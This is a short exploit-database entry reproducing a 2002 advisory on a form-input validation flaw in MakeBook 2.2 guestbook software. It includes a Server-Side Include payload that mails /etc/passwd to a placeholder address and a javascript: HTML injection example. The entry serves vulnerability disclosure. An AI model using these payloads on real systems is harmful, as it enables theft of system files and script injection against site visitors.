MakeBook 2.2 - Form Field Input Validation

2002-06-12T00:00:00
ID EXPLOITPACK:D9E713F883139AB96C34C3B9E4AD098E
Type exploitpack
Reporter b0iler
Modified 2002-06-12T00:00:00

Description

MakeBook 2.2 - Form Field Input Validation

                                        
                                            source: https://www.securityfocus.com/bid/4996/info

The MakeBook guestbook software does not sufficiently sanitize potentially dangerous characters from form field input. This may enable attackers to inject arbitrary HTML into form fields, which will be stored on guestbook pages. Additionally, it has been demonstrated that SSI (Server-Side Includes) may also be injected in this manner, and may be executed depending on the underlying environment. 

Server-Side Include example:

Name: <!--#exec cmd="/bin/mail address@host < /etc/passwd"-->

HTML Injection example:

Name: <img src="javascript:alert('test');">